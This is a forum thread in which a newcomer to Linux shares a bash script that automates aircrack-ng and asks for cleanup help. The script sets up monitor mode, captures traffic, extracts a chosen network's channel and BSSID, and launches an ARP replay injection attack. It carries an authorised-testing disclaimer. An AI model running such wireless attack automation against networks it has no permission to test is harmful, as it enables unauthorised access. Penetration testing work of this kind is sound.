Hi, I'm very new to Linux, and relatively new to the whole computer world, especially the scripting world. I recently wrote a script to help automate aircrack-ng, and would like help cleaning it up. It seems to me there is a lot of extra stuff I had to put in there because I know very few commands, and any help would be much appreciated (:

My script, goes something like this:

#!/bin/bash
# This is my automated aircrack script. It is a tool to aid in
# penetration testing.

#Pause()
#{
# read
#}
Pause()
{

key=""
echo -n "Press enter to continue"
read ENTER
}


echo -n "This is not, I repeat, not, a script to help you crack your neighbors internet.
This is merely designed to aid in penetration testing a wireless access point. Ensure
you have proper permissions to test before performing any tests. By entering [y] you
are agreeing to not use this program illegally. [y/n] "

read DISCLAIMER

if [ "$DISCLAIMER" != "y" ]
then
exit
fi

############## MONITOR CHANNEL


export MONFREQ=`ifconfig|grep mon0`
if [ "$MONFREQ" > 1 ]; then

rm /monitorpackets/packetslib-01*
mkdir /monitorpackets
airodump-ng --write /monitorpackets/packetslib mon0 &
else
rm /monitorpackets/packetslib-01*
mkdir /monitorpackets
airmon-ng start wlan0
airodump-ng --write /monitorpackets/packetslib mon0 &

fi

############# MAC ADDRESS
echo

export MAC=`ifconfig |grep wlan0|grep 'HWaddr'| awk '{ print $5}'`

#################Waiting and killing the background process

echo "Waiting for ESSID choices....."

echo

echo

read -t 5

kill `ps -ef|grep airodump-ng | awk '{ print $2}'`

############################ESSID
awk '{ print $20 }' /monitorpackets/packetslib-01.csv

echo -n "What is the ESSID that you wish to try? "
read ESSID

echo

##########################CHANNEL
cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $6}' > /monitorpackets/channel

CHANNELINC=$(cat /monitorpackets/channel)

CHANNELCHAR=$(wc -L /monitorpackets/channel|awk '{print $1}')

if [ "$CHANNELCHAR" = 3 ]; then

stringY=$CHANNELINC
echo ${stringY:0:2} > /monitorpackets/channel
CHANNEL=$(cat /monitorpackets/channel)
else
stringY=$CHANNELINC
echo ${stringY:0:1} > /monitorpackets/channel
CHANNEL=$(cat /monitorpackets/channel)
fi

###########################GRAB BSSID

cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $1}' > /monitorpackets/packetslib-01.csv

BSSIDINC=$(cat /monitorpackets/packetslib-01.csv)

stringZ=$BSSIDINC

echo ${stringZ:0:17} > /monitorpackets/packetslib-01.csv

BSSID=`cat /monitorpackets/packetslib-01.csv`


############### RESULTS
mkdir /monitorpackets/results
xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write /monitorpackets/results/$BSSID mon0 &

clear

read -t 5
aireplay-ng --arpreplay 0 -b $BSSID -h $MAC mon0






I put the Pause function in there to help while debugging it.

Can you post it again using code tags so it's easier to read?

Sure, sorry about that